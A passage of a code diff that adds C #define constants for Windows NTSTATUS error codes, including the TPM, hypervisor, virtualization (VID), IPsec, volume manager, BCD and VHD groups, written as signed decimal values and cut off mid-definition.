+#define STATUS_TPM_IOERROR -1071054817 +#define STATUS_TPM_ENCRYPT_ERROR -1071054816 +#define STATUS_TPM_DECRYPT_ERROR -1071054815 +#define STATUS_TPM_INVALID_AUTHHANDLE -1071054814 +#define STATUS_TPM_NO_ENDORSEMENT -1071054813 +#define STATUS_TPM_INVALID_KEYUSAGE -1071054812 +#define STATUS_TPM_WRONG_ENTITYTYPE -1071054811 +#define STATUS_TPM_INVALID_POSTINIT -1071054810 +#define STATUS_TPM_INAPPROPRIATE_SIG -1071054809 +#define STATUS_TPM_BAD_KEY_PROPERTY -1071054808 +#define STATUS_TPM_BAD_MIGRATION -1071054807 +#define STATUS_TPM_BAD_SCHEME -1071054806 +#define STATUS_TPM_BAD_DATASIZE -1071054805 +#define STATUS_TPM_BAD_MODE -1071054804 +#define STATUS_TPM_BAD_PRESENCE -1071054803 +#define STATUS_TPM_BAD_VERSION -1071054802 +#define STATUS_TPM_NO_WRAP_TRANSPORT -1071054801 +#define STATUS_TPM_AUDITFAIL_UNSUCCESSFUL -1071054800 +#define STATUS_TPM_AUDITFAIL_SUCCESSFUL -1071054799 +#define STATUS_TPM_NOTRESETABLE -1071054798 +#define STATUS_TPM_NOTLOCAL -1071054797 +#define STATUS_TPM_BAD_TYPE -1071054796 +#define STATUS_TPM_INVALID_RESOURCE -1071054795 +#define STATUS_TPM_NOTFIPS -1071054794 +#define STATUS_TPM_INVALID_FAMILY -1071054793 +#define STATUS_TPM_NO_NV_PERMISSION -1071054792 +#define STATUS_TPM_REQUIRES_SIGN -1071054791 +#define STATUS_TPM_KEY_NOTSUPPORTED -1071054790 +#define STATUS_TPM_AUTH_CONFLICT -1071054789 +#define STATUS_TPM_AREA_LOCKED -1071054788 +#define STATUS_TPM_BAD_LOCALITY -1071054787 +#define STATUS_TPM_READ_ONLY -1071054786 +#define STATUS_TPM_PER_NOWRITE -1071054785 +#define STATUS_TPM_FAMILYCOUNT -1071054784 +#define STATUS_TPM_WRITE_LOCKED -1071054783 +#define STATUS_TPM_BAD_ATTRIBUTES -1071054782 +#define STATUS_TPM_INVALID_STRUCTURE -1071054781 +#define STATUS_TPM_KEY_OWNER_CONTROL -1071054780 +#define STATUS_TPM_BAD_COUNTER -1071054779 +#define STATUS_TPM_NOT_FULLWRITE -1071054778 +#define STATUS_TPM_CONTEXT_GAP -1071054777 +#define STATUS_TPM_MAXNVWRITES -1071054776 +#define STATUS_TPM_NOOPERATOR -1071054775 +#define STATUS_TPM_RESOURCEMISSING -1071054774 +#define STATUS_TPM_DELEGATE_LOCK -1071054773 +#define STATUS_TPM_DELEGATE_FAMILY -1071054772 +#define STATUS_TPM_DELEGATE_ADMIN -1071054771 +#define STATUS_TPM_TRANSPORT_NOTEXCLUSIVE -1071054770 +#define STATUS_TPM_OWNER_CONTROL -1071054769 +#define STATUS_TPM_DAA_RESOURCES -1071054768 +#define STATUS_TPM_DAA_INPUT_DATA0 -1071054767 +#define STATUS_TPM_DAA_INPUT_DATA1 -1071054766 +#define STATUS_TPM_DAA_ISSUER_SETTINGS -1071054765 +#define STATUS_TPM_DAA_TPM_SETTINGS -1071054764 +#define STATUS_TPM_DAA_STAGE -1071054763 +#define STATUS_TPM_DAA_ISSUER_VALIDITY -1071054762 +#define STATUS_TPM_DAA_WRONG_W -1071054761 +#define STATUS_TPM_BAD_HANDLE -1071054760 +#define STATUS_TPM_BAD_DELEGATE -1071054759 +#define STATUS_TPM_BADCONTEXT -1071054758 +#define STATUS_TPM_TOOMANYCONTEXTS -1071054757 +#define STATUS_TPM_MA_TICKET_SIGNATURE -1071054756 +#define STATUS_TPM_MA_DESTINATION -1071054755 +#define STATUS_TPM_MA_SOURCE -1071054754 +#define STATUS_TPM_MA_AUTHORITY -1071054753 +#define STATUS_TPM_PERMANENTEK -1071054751 +#define STATUS_TPM_BAD_SIGNATURE -1071054750 +#define STATUS_TPM_NOCONTEXTSPACE -1071054749 +#define STATUS_TPM_20_E_ASYMMETRIC -1071054719 +#define STATUS_TPM_20_E_ATTRIBUTES -1071054718 +#define STATUS_TPM_20_E_HASH -1071054717 +#define STATUS_TPM_20_E_VALUE -1071054716 +#define STATUS_TPM_20_E_HIERARCHY -1071054715 +#define STATUS_TPM_20_E_KEY_SIZE -1071054713 +#define STATUS_TPM_20_E_MGF -1071054712 +#define STATUS_TPM_20_E_MODE -1071054711 +#define STATUS_TPM_20_E_TYPE -1071054710 +#define STATUS_TPM_20_E_HANDLE -1071054709 +#define STATUS_TPM_20_E_KDF -1071054708 +#define STATUS_TPM_20_E_RANGE -1071054707 +#define STATUS_TPM_20_E_AUTH_FAIL -1071054706 +#define STATUS_TPM_20_E_NONCE -1071054705 +#define STATUS_TPM_20_E_PP -1071054704 +#define STATUS_TPM_20_E_SCHEME -1071054702 +#define STATUS_TPM_20_E_SIZE -1071054699 +#define STATUS_TPM_20_E_SYMMETRIC -1071054698 +#define STATUS_TPM_20_E_TAG -1071054697 +#define STATUS_TPM_20_E_SELECTOR -1071054696 +#define STATUS_TPM_20_E_INSUFFICIENT -1071054694 +#define STATUS_TPM_20_E_SIGNATURE -1071054693 +#define STATUS_TPM_20_E_KEY -1071054692 +#define STATUS_TPM_20_E_POLICY_FAIL -1071054691 +#define STATUS_TPM_20_E_INTEGRITY -1071054689 +#define STATUS_TPM_20_E_TICKET -1071054688 +#define STATUS_TPM_20_E_RESERVED_BITS -1071054687 +#define STATUS_TPM_20_E_BAD_AUTH -1071054686 +#define STATUS_TPM_20_E_EXPIRED -1071054685 +#define STATUS_TPM_20_E_POLICY_CC -1071054684 +#define STATUS_TPM_20_E_BINDING -1071054683 +#define STATUS_TPM_20_E_CURVE -1071054682 +#define STATUS_TPM_20_E_ECC_POINT -1071054681 +#define STATUS_TPM_20_E_INITIALIZE -1071054592 +#define STATUS_TPM_20_E_FAILURE -1071054591 +#define STATUS_TPM_20_E_SEQUENCE -1071054589 +#define STATUS_TPM_20_E_PRIVATE -1071054581 +#define STATUS_TPM_20_E_HMAC -1071054567 +#define STATUS_TPM_20_E_DISABLED -1071054560 +#define STATUS_TPM_20_E_EXCLUSIVE -1071054559 +#define STATUS_TPM_20_E_ECC_CURVE -1071054557 +#define STATUS_TPM_20_E_AUTH_TYPE -1071054556 +#define STATUS_TPM_20_E_AUTH_MISSING -1071054555 +#define STATUS_TPM_20_E_POLICY -1071054554 +#define STATUS_TPM_20_E_PCR -1071054553 +#define STATUS_TPM_20_E_PCR_CHANGED -1071054552 +#define STATUS_TPM_20_E_UPGRADE -1071054547 +#define STATUS_TPM_20_E_TOO_MANY_CONTEXTS -1071054546 +#define STATUS_TPM_20_E_AUTH_UNAVAILABLE -1071054545 +#define STATUS_TPM_20_E_REBOOT -1071054544 +#define STATUS_TPM_20_E_UNBALANCED -1071054543 +#define STATUS_TPM_20_E_COMMAND_SIZE -1071054526 +#define STATUS_TPM_20_E_COMMAND_CODE -1071054525 +#define STATUS_TPM_20_E_AUTHSIZE -1071054524 +#define STATUS_TPM_20_E_AUTH_CONTEXT -1071054523 +#define STATUS_TPM_20_E_NV_RANGE -1071054522 +#define STATUS_TPM_20_E_NV_SIZE -1071054521 +#define STATUS_TPM_20_E_NV_LOCKED -1071054520 +#define STATUS_TPM_20_E_NV_AUTHORIZATION -1071054519 +#define STATUS_TPM_20_E_NV_UNINITIALIZED -1071054518 +#define STATUS_TPM_20_E_NV_SPACE -1071054517 +#define STATUS_TPM_20_E_NV_DEFINED -1071054516 +#define STATUS_TPM_20_E_BAD_CONTEXT -1071054512 +#define STATUS_TPM_20_E_CPHASH -1071054511 +#define STATUS_TPM_20_E_PARENT -1071054510 +#define STATUS_TPM_20_E_NEEDS_TEST -1071054509 +#define STATUS_TPM_20_E_NO_RESULT -1071054508 +#define STATUS_TPM_20_E_SENSITIVE -1071054507 +#define STATUS_TPM_COMMAND_BLOCKED -1071053824 +#define STATUS_TPM_INVALID_HANDLE -1071053823 +#define STATUS_TPM_DUPLICATE_VHANDLE -1071053822 +#define STATUS_TPM_EMBEDDED_COMMAND_BLOCKED -1071053821 +#define STATUS_TPM_EMBEDDED_COMMAND_UNSUPPORTED -1071053820 +#define STATUS_TPM_RETRY -1071052800 +#define STATUS_TPM_NEEDS_SELFTEST -1071052799 +#define STATUS_TPM_DOING_SELFTEST -1071052798 +#define STATUS_TPM_DEFEND_LOCK_RUNNING -1071052797 +#define STATUS_TPM_COMMAND_CANCELED -1071050751 +#define STATUS_TPM_TOO_MANY_CONTEXTS -1071050750 +#define STATUS_TPM_NOT_FOUND -1071050749 +#define STATUS_TPM_ACCESS_DENIED -1071050748 +#define STATUS_TPM_INSUFFICIENT_BUFFER -1071050747 +#define STATUS_TPM_PPI_FUNCTION_UNSUPPORTED -1071050746 +#define STATUS_TPM_IN_EXCLUSIVE_MODE -1071050745 +#define STATUS_TPM_REBOOT_REQUIRED -1071050744 +#define STATUS_PCP_ERROR_MASK -1071046656 +#define STATUS_PCP_DEVICE_NOT_READY -1071046655 +#define STATUS_PCP_INVALID_HANDLE -1071046654 +#define STATUS_PCP_INVALID_PARAMETER -1071046653 +#define STATUS_PCP_FLAG_NOT_SUPPORTED -1071046652 +#define STATUS_PCP_NOT_SUPPORTED -1071046651 +#define STATUS_PCP_BUFFER_TOO_SMALL -1071046650 +#define STATUS_PCP_INTERNAL_ERROR -1071046649 +#define STATUS_PCP_AUTHENTICATION_FAILED -1071046648 +#define STATUS_PCP_AUTHENTICATION_IGNORED -1071046647 +#define STATUS_PCP_POLICY_NOT_FOUND -1071046646 +#define STATUS_PCP_PROFILE_NOT_FOUND -1071046645 +#define STATUS_PCP_VALIDATION_FAILED -1071046644 +#define STATUS_PCP_DEVICE_NOT_FOUND -1071046643 +#define STATUS_PCP_WRONG_PARENT -1071046642 +#define STATUS_PCP_KEY_NOT_LOADED -1071046641 +#define STATUS_PCP_NO_KEY_CERTIFICATION -1071046640 +#define STATUS_PCP_KEY_NOT_FINALIZED -1071046639 +#define STATUS_PCP_ATTESTATION_CHALLENGE_NOT_SET -1071046638 +#define STATUS_PCP_NOT_PCR_BOUND -1071046637 +#define STATUS_PCP_KEY_ALREADY_FINALIZED -1071046636 +#define STATUS_PCP_KEY_USAGE_POLICY_NOT_SUPPORTED -1071046635 +#define STATUS_PCP_KEY_USAGE_POLICY_INVALID -1071046634 +#define STATUS_PCP_SOFT_KEY_ERROR -1071046633 +#define STATUS_PCP_KEY_NOT_AUTHENTICATED -1071046632 +#define STATUS_PCP_KEY_NOT_AIK -1071046631 +#define STATUS_PCP_KEY_NOT_SIGNING_KEY -1071046630 +#define STATUS_PCP_LOCKED_OUT -1071046629 +#define STATUS_PCP_CLAIM_TYPE_NOT_SUPPORTED -1071046628 +#define STATUS_PCP_TPM_VERSION_NOT_SUPPORTED -1071046627 +#define STATUS_PCP_BUFFER_LENGTH_MISMATCH -1071046626 +#define STATUS_PCP_IFX_RSA_KEY_CREATION_BLOCKED -1071046625 +#define STATUS_PCP_TICKET_MISSING -1071046624 +#define STATUS_PCP_RAW_POLICY_NOT_SUPPORTED -1071046623 +#define STATUS_PCP_KEY_HANDLE_INVALIDATED -1071046622 +#define STATUS_PCP_UNSUPPORTED_PSS_SALT 1076437027 +#define STATUS_RTPM_CONTEXT_CONTINUE 2699264 +#define STATUS_RTPM_CONTEXT_COMPLETE 2699265 +#define STATUS_RTPM_NO_RESULT -1071042558 +#define STATUS_RTPM_PCR_READ_INCOMPLETE -1071042557 +#define STATUS_RTPM_INVALID_CONTEXT -1071042556 +#define STATUS_RTPM_UNSUPPORTED_CMD -1071042555 +#define STATUS_TPM_ZERO_EXHAUST_ENABLED -1071038464 +#define STATUS_DRTM_ENVIRONMENT_UNSAFE -1071034368 +#define STATUS_DRTM_NO_DIRECT_AUTH_FOR_CURRENT_MLE -1071034367 +#define STATUS_HV_INVALID_HYPERCALL_CODE -1070268414 +#define STATUS_HV_INVALID_HYPERCALL_INPUT -1070268413 +#define STATUS_HV_INVALID_ALIGNMENT -1070268412 +#define STATUS_HV_INVALID_PARAMETER -1070268411 +#define STATUS_HV_ACCESS_DENIED -1070268410 +#define STATUS_HV_INVALID_PARTITION_STATE -1070268409 +#define STATUS_HV_OPERATION_DENIED -1070268408 +#define STATUS_HV_UNKNOWN_PROPERTY -1070268407 +#define STATUS_HV_PROPERTY_VALUE_OUT_OF_RANGE -1070268406 +#define STATUS_HV_INSUFFICIENT_MEMORY -1070268405 +#define STATUS_HV_PARTITION_TOO_DEEP -1070268404 +#define STATUS_HV_INVALID_PARTITION_ID -1070268403 +#define STATUS_HV_INVALID_VP_INDEX -1070268402 +#define STATUS_HV_INVALID_PORT_ID -1070268399 +#define STATUS_HV_INVALID_CONNECTION_ID -1070268398 +#define STATUS_HV_INSUFFICIENT_BUFFERS -1070268397 +#define STATUS_HV_NOT_ACKNOWLEDGED -1070268396 +#define STATUS_HV_INVALID_VP_STATE -1070268395 +#define STATUS_HV_ACKNOWLEDGED -1070268394 +#define STATUS_HV_INVALID_SAVE_RESTORE_STATE -1070268393 +#define STATUS_HV_INVALID_SYNIC_STATE -1070268392 +#define STATUS_HV_OBJECT_IN_USE -1070268391 +#define STATUS_HV_INVALID_PROXIMITY_DOMAIN_INFO -1070268390 +#define STATUS_HV_NO_DATA -1070268389 +#define STATUS_HV_INACTIVE -1070268388 +#define STATUS_HV_NO_RESOURCES -1070268387 +#define STATUS_HV_FEATURE_UNAVAILABLE -1070268386 +#define STATUS_HV_INSUFFICIENT_BUFFER -1070268365 +#define STATUS_HV_INSUFFICIENT_DEVICE_DOMAINS -1070268360 +#define STATUS_HV_CPUID_FEATURE_VALIDATION_ERROR -1070268356 +#define STATUS_HV_CPUID_XSAVE_FEATURE_VALIDATION_ERROR -1070268355 +#define STATUS_HV_PROCESSOR_STARTUP_TIMEOUT -1070268354 +#define STATUS_HV_SMX_ENABLED -1070268353 +#define STATUS_HV_INVALID_LP_INDEX -1070268351 +#define STATUS_HV_INVALID_REGISTER_VALUE -1070268336 +#define STATUS_HV_INVALID_VTL_STATE -1070268335 +#define STATUS_HV_NX_NOT_DETECTED -1070268331 +#define STATUS_HV_INVALID_DEVICE_ID -1070268329 +#define STATUS_HV_INVALID_DEVICE_STATE -1070268328 +#define STATUS_HV_PENDING_PAGE_REQUESTS 3473497 +#define STATUS_HV_PAGE_REQUEST_INVALID -1070268320 +#define STATUS_HV_INVALID_CPU_GROUP_ID -1070268305 +#define STATUS_HV_INVALID_CPU_GROUP_STATE -1070268304 +#define STATUS_HV_OPERATION_FAILED -1070268303 +#define STATUS_HV_NOT_ALLOWED_WITH_NESTED_VIRT_ACTIVE -1070268302 +#define STATUS_HV_INSUFFICIENT_ROOT_MEMORY -1070268301 +#define STATUS_HV_EVENT_BUFFER_ALREADY_FREED -1070268300 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_MEMORY -1070268299 +#define STATUS_HV_DEVICE_NOT_IN_DOMAIN -1070268298 +#define STATUS_HV_NESTED_VM_EXIT -1070268297 +#define STATUS_HV_CALL_PENDING -1070268295 +#define STATUS_HV_MSR_ACCESS_FAILED -1070268288 +#define STATUS_HV_INSUFFICIENT_MEMORY_MIRRORING -1070268287 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_MEMORY_MIRRORING -1070268286 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY -1070268285 +#define STATUS_HV_INSUFFICIENT_ROOT_MEMORY_MIRRORING -1070268284 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY_MIRRORING -1070268283 +#define STATUS_HV_VTL_ALREADY_ENABLED -1070268282 +#define STATUS_HV_SPDM_REQUEST -1070268280 +#define STATUS_HV_NOT_PRESENT -1070264320 +#define STATUS_VID_DUPLICATE_HANDLER -1070137343 +#define STATUS_VID_TOO_MANY_HANDLERS -1070137342 +#define STATUS_VID_QUEUE_FULL -1070137341 +#define STATUS_VID_HANDLER_NOT_PRESENT -1070137340 +#define STATUS_VID_INVALID_OBJECT_NAME -1070137339 +#define STATUS_VID_PARTITION_NAME_TOO_LONG -1070137338 +#define STATUS_VID_MESSAGE_QUEUE_NAME_TOO_LONG -1070137337 +#define STATUS_VID_PARTITION_ALREADY_EXISTS -1070137336 +#define STATUS_VID_PARTITION_DOES_NOT_EXIST -1070137335 +#define STATUS_VID_PARTITION_NAME_NOT_FOUND -1070137334 +#define STATUS_VID_MESSAGE_QUEUE_ALREADY_EXISTS -1070137333 +#define STATUS_VID_EXCEEDED_MBP_ENTRY_MAP_LIMIT -1070137332 +#define STATUS_VID_MB_STILL_REFERENCED -1070137331 +#define STATUS_VID_CHILD_GPA_PAGE_SET_CORRUPTED -1070137330 +#define STATUS_VID_INVALID_NUMA_SETTINGS -1070137329 +#define STATUS_VID_INVALID_NUMA_NODE_INDEX -1070137328 +#define STATUS_VID_NOTIFICATION_QUEUE_ALREADY_ASSOCIATED -1070137327 +#define STATUS_VID_INVALID_MEMORY_BLOCK_HANDLE -1070137326 +#define STATUS_VID_PAGE_RANGE_OVERFLOW -1070137325 +#define STATUS_VID_INVALID_MESSAGE_QUEUE_HANDLE -1070137324 +#define STATUS_VID_INVALID_GPA_RANGE_HANDLE -1070137323 +#define STATUS_VID_NO_MEMORY_BLOCK_NOTIFICATION_QUEUE -1070137322 +#define STATUS_VID_MEMORY_BLOCK_LOCK_COUNT_EXCEEDED -1070137321 +#define STATUS_VID_INVALID_PPM_HANDLE -1070137320 +#define STATUS_VID_MBPS_ARE_LOCKED -1070137319 +#define STATUS_VID_MESSAGE_QUEUE_CLOSED -1070137318 +#define STATUS_VID_VIRTUAL_PROCESSOR_LIMIT_EXCEEDED -1070137317 +#define STATUS_VID_STOP_PENDING -1070137316 +#define STATUS_VID_INVALID_PROCESSOR_STATE -1070137315 +#define STATUS_VID_EXCEEDED_KM_CONTEXT_COUNT_LIMIT -1070137314 +#define STATUS_VID_KM_INTERFACE_ALREADY_INITIALIZED -1070137313 +#define STATUS_VID_MB_PROPERTY_ALREADY_SET_RESET -1070137312 +#define STATUS_VID_MMIO_RANGE_DESTROYED -1070137311 +#define STATUS_VID_INVALID_CHILD_GPA_PAGE_SET -1070137310 +#define STATUS_VID_RESERVE_PAGE_SET_IS_BEING_USED -1070137309 +#define STATUS_VID_RESERVE_PAGE_SET_TOO_SMALL -1070137308 +#define STATUS_VID_MBP_ALREADY_LOCKED_USING_RESERVED_PAGE -1070137307 +#define STATUS_VID_MBP_COUNT_EXCEEDED_LIMIT -1070137306 +#define STATUS_VID_SAVED_STATE_CORRUPT -1070137305 +#define STATUS_VID_SAVED_STATE_UNRECOGNIZED_ITEM -1070137304 +#define STATUS_VID_SAVED_STATE_INCOMPATIBLE -1070137303 +#define STATUS_VID_VTL_ACCESS_DENIED -1070137302 +#define STATUS_VID_INSUFFICIENT_RESOURCES_RESERVE -1070137301 +#define STATUS_VID_INSUFFICIENT_RESOURCES_PHYSICAL_BUFFER -1070137300 +#define STATUS_VID_INSUFFICIENT_RESOURCES_HV_DEPOSIT -1070137299 +#define STATUS_VID_MEMORY_TYPE_NOT_SUPPORTED -1070137298 +#define STATUS_VID_INSUFFICIENT_RESOURCES_WITHDRAW -1070137297 +#define STATUS_VID_PROCESS_ALREADY_SET -1070137296 +#define STATUS_DM_OPERATION_LIMIT_EXCEEDED -1070135808 +#define STATUS_VID_REMOTE_NODE_PARENT_GPA_PAGES_USED -2143879167 +#define STATUS_IPSEC_BAD_SPI -1070202879 +#define STATUS_IPSEC_SA_LIFETIME_EXPIRED -1070202878 +#define STATUS_IPSEC_WRONG_SA -1070202877 +#define STATUS_IPSEC_REPLAY_CHECK_FAILED -1070202876 +#define STATUS_IPSEC_INVALID_PACKET -1070202875 +#define STATUS_IPSEC_INTEGRITY_CHECK_FAILED -1070202874 +#define STATUS_IPSEC_CLEAR_TEXT_DROP -1070202873 +#define STATUS_IPSEC_AUTH_FIREWALL_DROP -1070202872 +#define STATUS_IPSEC_THROTTLE_DROP -1070202871 +#define STATUS_IPSEC_DOSP_BLOCK -1070170112 +#define STATUS_IPSEC_DOSP_RECEIVED_MULTICAST -1070170111 +#define STATUS_IPSEC_DOSP_INVALID_PACKET -1070170110 +#define STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED -1070170109 +#define STATUS_IPSEC_DOSP_MAX_ENTRIES -1070170108 +#define STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED -1070170107 +#define STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES -1070170106 +#define STATUS_VOLMGR_INCOMPLETE_REGENERATION -2143813631 +#define STATUS_VOLMGR_INCOMPLETE_DISK_MIGRATION -2143813630 +#define STATUS_VOLMGR_DATABASE_FULL -1070071807 +#define STATUS_VOLMGR_DISK_CONFIGURATION_CORRUPTED -1070071806 +#define STATUS_VOLMGR_DISK_CONFIGURATION_NOT_IN_SYNC -1070071805 +#define STATUS_VOLMGR_PACK_CONFIG_UPDATE_FAILED -1070071804 +#define STATUS_VOLMGR_DISK_CONTAINS_NON_SIMPLE_VOLUME -1070071803 +#define STATUS_VOLMGR_DISK_DUPLICATE -1070071802 +#define STATUS_VOLMGR_DISK_DYNAMIC -1070071801 +#define STATUS_VOLMGR_DISK_ID_INVALID -1070071800 +#define STATUS_VOLMGR_DISK_INVALID -1070071799 +#define STATUS_VOLMGR_DISK_LAST_VOTER -1070071798 +#define STATUS_VOLMGR_DISK_LAYOUT_INVALID -1070071797 +#define STATUS_VOLMGR_DISK_LAYOUT_NON_BASIC_BETWEEN_BASIC_PARTITIONS -1070071796 +#define STATUS_VOLMGR_DISK_LAYOUT_NOT_CYLINDER_ALIGNED -1070071795 +#define STATUS_VOLMGR_DISK_LAYOUT_PARTITIONS_TOO_SMALL -1070071794 +#define STATUS_VOLMGR_DISK_LAYOUT_PRIMARY_BETWEEN_LOGICAL_PARTITIONS -1070071793 +#define STATUS_VOLMGR_DISK_LAYOUT_TOO_MANY_PARTITIONS -1070071792 +#define STATUS_VOLMGR_DISK_MISSING -1070071791 +#define STATUS_VOLMGR_DISK_NOT_EMPTY -1070071790 +#define STATUS_VOLMGR_DISK_NOT_ENOUGH_SPACE -1070071789 +#define STATUS_VOLMGR_DISK_REVECTORING_FAILED -1070071788 +#define STATUS_VOLMGR_DISK_SECTOR_SIZE_INVALID -1070071787 +#define STATUS_VOLMGR_DISK_SET_NOT_CONTAINED -1070071786 +#define STATUS_VOLMGR_DISK_USED_BY_MULTIPLE_MEMBERS -1070071785 +#define STATUS_VOLMGR_DISK_USED_BY_MULTIPLE_PLEXES -1070071784 +#define STATUS_VOLMGR_DYNAMIC_DISK_NOT_SUPPORTED -1070071783 +#define STATUS_VOLMGR_EXTENT_ALREADY_USED -1070071782 +#define STATUS_VOLMGR_EXTENT_NOT_CONTIGUOUS -1070071781 +#define STATUS_VOLMGR_EXTENT_NOT_IN_PUBLIC_REGION -1070071780 +#define STATUS_VOLMGR_EXTENT_NOT_SECTOR_ALIGNED -1070071779 +#define STATUS_VOLMGR_EXTENT_OVERLAPS_EBR_PARTITION -1070071778 +#define STATUS_VOLMGR_EXTENT_VOLUME_LENGTHS_DO_NOT_MATCH -1070071777 +#define STATUS_VOLMGR_FAULT_TOLERANT_NOT_SUPPORTED -1070071776 +#define STATUS_VOLMGR_INTERLEAVE_LENGTH_INVALID -1070071775 +#define STATUS_VOLMGR_MAXIMUM_REGISTERED_USERS -1070071774 +#define STATUS_VOLMGR_MEMBER_IN_SYNC -1070071773 +#define STATUS_VOLMGR_MEMBER_INDEX_DUPLICATE -1070071772 +#define STATUS_VOLMGR_MEMBER_INDEX_INVALID -1070071771 +#define STATUS_VOLMGR_MEMBER_MISSING -1070071770 +#define STATUS_VOLMGR_MEMBER_NOT_DETACHED -1070071769 +#define STATUS_VOLMGR_MEMBER_REGENERATING -1070071768 +#define STATUS_VOLMGR_ALL_DISKS_FAILED -1070071767 +#define STATUS_VOLMGR_NO_REGISTERED_USERS -1070071766 +#define STATUS_VOLMGR_NO_SUCH_USER -1070071765 +#define STATUS_VOLMGR_NOTIFICATION_RESET -1070071764 +#define STATUS_VOLMGR_NUMBER_OF_MEMBERS_INVALID -1070071763 +#define STATUS_VOLMGR_NUMBER_OF_PLEXES_INVALID -1070071762 +#define STATUS_VOLMGR_PACK_DUPLICATE -1070071761 +#define STATUS_VOLMGR_PACK_ID_INVALID -1070071760 +#define STATUS_VOLMGR_PACK_INVALID -1070071759 +#define STATUS_VOLMGR_PACK_NAME_INVALID -1070071758 +#define STATUS_VOLMGR_PACK_OFFLINE -1070071757 +#define STATUS_VOLMGR_PACK_HAS_QUORUM -1070071756 +#define STATUS_VOLMGR_PACK_WITHOUT_QUORUM -1070071755 +#define STATUS_VOLMGR_PARTITION_STYLE_INVALID -1070071754 +#define STATUS_VOLMGR_PARTITION_UPDATE_FAILED -1070071753 +#define STATUS_VOLMGR_PLEX_IN_SYNC -1070071752 +#define STATUS_VOLMGR_PLEX_INDEX_DUPLICATE -1070071751 +#define STATUS_VOLMGR_PLEX_INDEX_INVALID -1070071750 +#define STATUS_VOLMGR_PLEX_LAST_ACTIVE -1070071749 +#define STATUS_VOLMGR_PLEX_MISSING -1070071748 +#define STATUS_VOLMGR_PLEX_REGENERATING -1070071747 +#define STATUS_VOLMGR_PLEX_TYPE_INVALID -1070071746 +#define STATUS_VOLMGR_PLEX_NOT_RAID5 -1070071745 +#define STATUS_VOLMGR_PLEX_NOT_SIMPLE -1070071744 +#define STATUS_VOLMGR_STRUCTURE_SIZE_INVALID -1070071743 +#define STATUS_VOLMGR_TOO_MANY_NOTIFICATION_REQUESTS -1070071742 +#define STATUS_VOLMGR_TRANSACTION_IN_PROGRESS -1070071741 +#define STATUS_VOLMGR_UNEXPECTED_DISK_LAYOUT_CHANGE -1070071740 +#define STATUS_VOLMGR_VOLUME_CONTAINS_MISSING_DISK -1070071739 +#define STATUS_VOLMGR_VOLUME_ID_INVALID -1070071738 +#define STATUS_VOLMGR_VOLUME_LENGTH_INVALID -1070071737 +#define STATUS_VOLMGR_VOLUME_LENGTH_NOT_SECTOR_SIZE_MULTIPLE -1070071736 +#define STATUS_VOLMGR_VOLUME_NOT_MIRRORED -1070071735 +#define STATUS_VOLMGR_VOLUME_NOT_RETAINED -1070071734 +#define STATUS_VOLMGR_VOLUME_OFFLINE -1070071733 +#define STATUS_VOLMGR_VOLUME_RETAINED -1070071732 +#define STATUS_VOLMGR_NUMBER_OF_EXTENTS_INVALID -1070071731 +#define STATUS_VOLMGR_DIFFERENT_SECTOR_SIZE -1070071730 +#define STATUS_VOLMGR_BAD_BOOT_DISK -1070071729 +#define STATUS_VOLMGR_PACK_CONFIG_OFFLINE -1070071728 +#define STATUS_VOLMGR_PACK_CONFIG_ONLINE -1070071727 +#define STATUS_VOLMGR_NOT_PRIMARY_PACK -1070071726 +#define STATUS_VOLMGR_PACK_LOG_UPDATE_FAILED -1070071725 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_IN_PLEX_INVALID -1070071724 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_IN_MEMBER_INVALID -1070071723 +#define STATUS_VOLMGR_VOLUME_MIRRORED -1070071722 +#define STATUS_VOLMGR_PLEX_NOT_SIMPLE_SPANNED -1070071721 +#define STATUS_VOLMGR_NO_VALID_LOG_COPIES -1070071720 +#define STATUS_VOLMGR_PRIMARY_PACK_PRESENT -1070071719 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_INVALID -1070071718 +#define STATUS_VOLMGR_MIRROR_NOT_SUPPORTED -1070071717 +#define STATUS_VOLMGR_RAID5_NOT_SUPPORTED -1070071716 +#define STATUS_BCD_NOT_ALL_ENTRIES_IMPORTED -2143748095 +#define STATUS_BCD_TOO_MANY_ELEMENTS -1070006270 +#define STATUS_BCD_NOT_ALL_ENTRIES_SYNCHRONIZED -2143748093 +#define STATUS_VHD_DRIVE_FOOTER_MISSING -1069940735 +#define STATUS_VHD_DRIVE_FOOTER_CHECKSUM_MISMATCH -1069940734 +#define STATUS_VHD_DRIVE_FOOTER_CORRUPT -1069940733 +#define STATUS_VHD_FORMAT_UNKNOWN -1069940732 +#define STATUS_VHD_FORMAT_UNSUPPORTED_VERSION -1069940731 +#define STATUS_VHD_SPARSE_HEADER_CHECKSUM_MISMATCH -1069940730 +#define STATUS_VHD_SPARSE_HEADER_UNSUPPORTED_VERSION -1069940729 +#define STATUS_VHD_SPARSE_HEADER_CORRUPT -1069940728 +#define STATUS_VHD_BLOCK_ALLOCATION_FAILURE -1069940727 +#define STATUS_VHD_BLOCK_ALLOCATION_TABLE_CORRUPT -1069940726 +#define STATUS_VHD_INVALID_BLOCK_SIZE -1069940725 +#define STATUS_VHD_BITMAP_MISMATCH -1069940724 +#define STATUS_VHD_PARENT_VHD_NOT_FOUND -1069940723 +#define STATUS_VHD_CHILD_PARENT_ID_MISMATCH -1069940722 +#define STATUS_VHD_CHILD_PARENT_TIMESTAMP_MISMATCH -1069940721 +#define STATUS_VHD_METADATA_READ_FAILURE -1069940720 +#define STATUS_VHD_METADATA_WRITE_FAILURE -1069940719 +#define STATUS_VHD_INVALID_SIZE -1069940718 +#define STATUS_VHD_INVALID_FILE_SIZE -1069940717 +#define STATUS_VIRTDISK_PROVIDER_NOT_FOUND -1069940716 +#define STATUS_VIRTDISK_NOT_VIRTUAL_DISK -1069940715 +#define STATUS_VHD_PARENT_VHD_ACCESS_DENIED -1069940714 +#define STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH -1069940713 +#define STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED -1069940712 +#define STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT -1069940711 +#define 